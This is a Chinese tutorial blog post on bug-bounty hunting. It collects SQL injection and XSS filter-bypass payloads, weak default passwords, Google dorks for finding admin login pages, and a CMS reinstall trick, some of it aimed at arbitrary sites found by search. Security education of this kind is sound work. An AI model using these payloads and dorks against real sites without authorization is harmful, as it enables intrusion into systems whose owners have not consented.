一次SRC挖掘总结分享

admin 2022年2月25日15:04:51评论124 views字数 6496阅读21分39秒阅读模式

一次SRC挖掘总结分享

挖洞指南

作者:折霜

"逸一时,误一世"——下北泽亚黎马寺·雷普先辈·林檎浩二

0x01 poc准备

类型 常见poc 原理
弱口令 admin/123456
admin/admin
admin/admin123
admin/admin888
常见的弱口令
sql注入 '、"、)、--+、/*、#等 过滤不严
xss注入 过滤不严,没有对语句转义
php自身缺陷 自身缺陷

sql注入骚操作

常见替代:

关键字 替换成
空格 ()、+
'单引号 16进制、char()、%2527
=、like regexp
sunstr(database(),1,1) substr(database() from 1 for 1)
if case...when...
ascii ord、hex、bin
information_schema schema_auto_increment_columns
order by group by、concat_ws
, join
sleep(1) benchmark(100000000,1)
1=1、1=2 true、false、1 like 1、1<>1
  • benchmark函数:
benchmark(执行次数,表达式)
  • concat_ws函数:
concat_ws(",",字符串1,字符串2)

information_schema绕过:

schema_auto_increment_columns是用来对表自增的监控,但是也能查询到数据库表名

id=1 and false union select 1,2,group_concat(table_name) from sys.schema_auto_increment_Columns where table_schema=database()--+

schema_table_statistics_with_buffer存储了所有表的统计信息

id=1 and false union select 1,2,group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()--+

innoDB携带的表

  • mysql.innodb_table_stats
  • mysql.innodb_index_stats 二者都有database_name字段和table_name字段,可以直接上手查询

其他不展示了,这里可以参考文章:

其他不展示了,这里可以参考文章:

https://www.freesion.com/article/4322842637/https://blog.csdn.net/zdy0_2004/article/details/77162074https://www.lanmper.cn/mysql/t8650.html

if(条件,为真返回,为假返回),例如:

id=1 and sleep(if((length(database)>1),5,0))--+

一个简单的poc:

id=1 if(ascii(substr(database(),1,1))=102,true,false)--+

替换if

case 条件 when 条件1 then 动作1 else 动作2 end

case when a=1 then 动作1 when a=2 then 动作2 else 动作三 end
id=1 case(ascii(substr(database(),1,1)))when 102 then true else false end--+空格替换:
id=1+case(ascii(substr(database(),1,1)))when+102+then+true+else+false+end--+
id=1(case(ascii(substr(database(),1,1)))when(102)then(true)else(false)end)--+

ascii替换:

id=1+case(ord(substr(database(),1,1)))when+102+then+true+else+false+end--+

substr(database(),1,1)替换:

id=1+case(ord(substr(database()from(1)for(1))))when+102+then+true+else+false+end--+

异或

1 ^ 2 = 3
1 ^ 3 = 2

用汇编解释更方便理解

mov eax,00000001
xor eax,00000010 ;eax=00000011

mov eax,00000001
xor eax,00000011 ;eax=00000010

;或者可以直接这样
mov eax,00000001
xor eax,00000000 ;eax=00000001
;同时为真则假,一真一假为假

http://url/?id=1'^(length('if')!=0)--+页面正常,说明if被过滤,前边的正常,后边的为假,异或返回为真,

异或查询:

id=1'^(substr(user(),1,1)='r')--+
-- 前边为真,后边为真,返回假
id=1'^(substr(user(),1,1)='r')^1--+
-- 前边为真,中间为真,后边为真,真或真为假,真或假为真

poc:id'^(substr(user(),1,1)='r')^1--+

大小于号

  • greatest(n1,n2,n3...)返回括号中的最大值
id=1 and false union select greatest(ascii(substr(user(),1,1)),1)
  • least(n1,n2,n3...)返回括号最小值
  • strcmp(字符串1,字符串2)相同返回STRCMP(),字符串1小于字符串2返回-1,其他情况返回1

有些站点会过滤<>,这时候可以考虑这样注入:

http://url/?id=1' un<>ion sel<>ect ...

等号

  • like
  • rlike
  • regexp
  • <>!(<>)
http://url/?id=1' && 1 like 1--+
http://url/?id=1 && 1 rlike 1--+
http://url/?id=1 && 1 regexp 1--+
http://ur;/?id=1 and false union select admin from admins where id > 0 and id < 3--+
http://url/?id=1 and 1 <> 1 union select admin from users where !(id<>1)--+
-- <>表示不等于,!表示取反

引号

  • 宽字节
  • char
  • 十六进制
-- 宽字节 在转义的时候 ' --> '
-- 加上%df %df' --> %df%5c'
-- %df%5c可以成为一个字,这样就绕过了转义,这里必须是 GBK编码
id=1%df'--+
%2527
-- 绕过函数 magic_quotes_gpc()
%25 + 27 --> % + 27 --> '

逗号

适用于limit 2,1

-- select * from user limit 1,1
select * from user limit 1 offset 2;

xss打法

  • 分割关键字和括号
alert%09()
alert%0a()
alert%0d()
alert%20()
alert/**/()
alert''
(alert)(/xss/)
((alert))(/xss/)
  • 使用标签
<img src="x" onerror="window['al'+'ert'](0)">
<input/onfocus=_=alert,_(123)>
<svg/onload="window.onerror=eval;throw'=alertx281x29';">
<svg/onload=location='javas'+'cript:a'+'lert(1)'>
  • 编码
  1. 实体编码
j --十进制--> &#106;
j --十六进制--> &#x6A;
实体编码可以不带分号 --> &#x6A
填充0 --> &#x0006A

在线实体编码平台:实体编码

  1. url编码
<img src="javascript:alert(1)"> url编码不能编码javascript,否则不能显示出来
<iframe src="javascript:alert(1)"></iframe>写成下面这这种
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
可以二次编码

一个好用的在线编码平台:在线编码

  1. Unicode编码
a --> u0061
  1. base64编码
<a href="data:text/html;base64,YWxlcnQoMSk=">123</a>
<iframe src="data:text/html;base64,YWxlcnQoMSk=">123</iframe>
  1. js编码

jsfuck,一个js编码的脚本

注意:实体编码可以编码javascript伪协议,url编码和js编码不可以,可以先js编码再url/unicode编码,最后再实体编码

  1. atob函数
<a href=javascript:eval(atob('base64编码内容'))>link</a>
<a href=javascript:eval(window.atob('base64编码内容'))>link</
a>
<a href=javascript:eval(window['abot']('base64编码内容'))></a>

介绍一个比较齐全的xss payload脚本:xss脚本

php自身漏洞

黑盒测试用的不多,代码审计操作不少,弹药准备一下,实在没办法就试试,瞎猫撞上死耗子的机会就在于你的弹药充不充足

  1. preg_replace漏洞利用mixed preg_replacce(mixed pattern,mixed replacement,mixed subject[,int limit])漏洞出在修饰的/e上,详细文章链接:herepoc:{${phpinfo()}}

  2. 数字判断is_numeric

is_numeric($_GET['a'])?die("not number"):NULL;

传入一个数123a,返回为true,进行绕过

0x02 脚本准备

ps:脚本只是用来快速fuzz的,建议上手实操,这样学到的东西更多

准备好扫描脚本,用于快速测试

这里推荐三个好用的:

sqlmapsqlmap无人不知无人不晓了属于是

织梦扫描器

针对mongodb等nosql数据库的一款扫描脚本

dirsearch扫目录的,你也可以用御剑、dirb

vulmap谷歌语法搜到.jsp.do这些类型站点时可以用这个扫一扫,我单推

0x03 寻找漏洞

总的来说,遇到php自身缺陷的情况很少,我没挖到过,就这两个感觉会用到,preg_replace没测到就算了,测到了就发了。弹药准备充足就可以上手挖洞了

首先,用google搜索一下,最好不要去搜inurl:".com/news/?id=1",基本上都挖烂了,那就换个思路,从挖弱口令开始,毕竟也是个中危

Google语法:

inurl:"admin/login.php" intext:"验证码" -intext:企业邮箱登录
inurl:"admin/login.php" intext:"看不清换一张"

可以自己替换,比如:

inurl:"Cadmin/index.php" intext:登录

先试试弱口令,弱口令进不去,去前台试试sql注入,(ps:一般能在google语法上找到后台路径的站点,前台多多少少都有sql注入的,不一定都有,但是概率比起直接搜inurl:.com/new.php?id=1大很多,而且大多没怎么被挖过,不过一般后台登陆带验证码的,十个里边两三个都是有墙的,而且一般弱口令用 admin/admin 比较多,前台sql建议仔细找,有些在新闻目录下可能是伪静态或者静态,但是进入单篇新闻了就是伪静态或者非伪静态),这里要说一下伪静态注入

伪静态注入

我们会看到很多类似于 http://url/news/cid/15/id/33/这样的链接,或者是 http://url/?url=/news/cid/13/id/14这样的链接,如何对这样的站点测试呢?

找到参数,我们推测一下,这个语句可能是http://url/news/?cid=15&id=33http://url/?url=/news/?cid=13&id=14,那么还是一样,该怎么注入就怎么注入,包括http://url/news/cid/3/id/4.html也是一样,http://url/news/cid/3/id/4' and false--+.html

举个例子,下边这个网站:

一次SRC挖掘总结分享

打了个and true--+,再打个and false--+

一次SRC挖掘总结分享

伪静态也可以是这样的:

一次SRC挖掘总结分享

一次SRC挖掘总结分享

然后就是:

一次SRC挖掘总结分享

一次SRC挖掘总结分享

伪静态就像正常的注入一样,在sqlmap的用法,在你认为存在为静态的参数后边加上一个*

如图:

一次SRC挖掘总结分享

sqlmap -u "http://url/index.php/News/index/cat_id/14*"

有的站点存在注入的同时也会有反射型xss:

一次SRC挖掘总结分享

一次SRC挖掘总结分享

一次SRC挖掘总结分享

一般来说,站点用typecho的大多都有xss(曾经写博客以为不会解析,写完之后弹出一堆xss),留言板留言<img src=x onerror:javascript:alert(1)>能明显看到被解析成为图片

测试xss的时候,可以先试试标签,比如<u>

试试它过滤啥,比如<script>alert('1')</script>是否过滤了<script>,过滤了就可以双写<scr<script>ipt>alert('1')</scri</script>pt>,插入<a<img试试,看是否有过滤,没有就打<a href=javascript:alert(1)></a>试试,过滤了可以试试实体编码或者用事件型onmouseover<a href="https://www.baidu.com" onmouseover=alert(1)></a>

测试一下src、action、location这些属性,这里就不多哆嗦了

0x04 cms重装漏洞

这个我没截到图,就假装这里有图

一次SRC挖掘总结分享

在一些cms下边,会存在一个install/或者install.php这样的目录或者文件,在安装下载之后站长没有删除这文件,就可能导致重装的产生

http://url/install/?step=1这一步会检查是否安装过,比如会在install/下生成一个空白文件install.lock,判断完成之后就会返回原先的页面,这时候你可以去尝试访问http://url/install/?step=2你会发现,是可以重装的,重装不了那就木法咯。参数大多有do=step=d=s=

可以试试点击发送,抓个包截下来,写在js里边打进后台留言板[doge],此时的站长:

一次SRC挖掘总结分享

开个玩笑,未经授权的测试是违法的,大家点到为止就好,不要因小失大,又水完一篇,经验+1

免责声明由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

一次SRC挖掘总结分享

end






网络¥安全联盟站—李白你好

欢迎关注[李白你好]-文章内容涉及网络¥安全,web渗透测试内网安全二进制安全工业控制安全APP逆向、CTF、SRC等。

一次SRC挖掘总结分享

                                                           

一次SRC挖掘总结分享


微信:libaisec

微信交流群:加我微信拉你进群和工程师们学技术聊人生



一次SRC挖掘总结分享

原文始发于微信公众号(李白你好):一次SRC挖掘总结分享

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月25日15:04:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次SRC挖掘总结分享https://cn-sec.com/archives/802977.html

发表评论

匿名网友 填写信息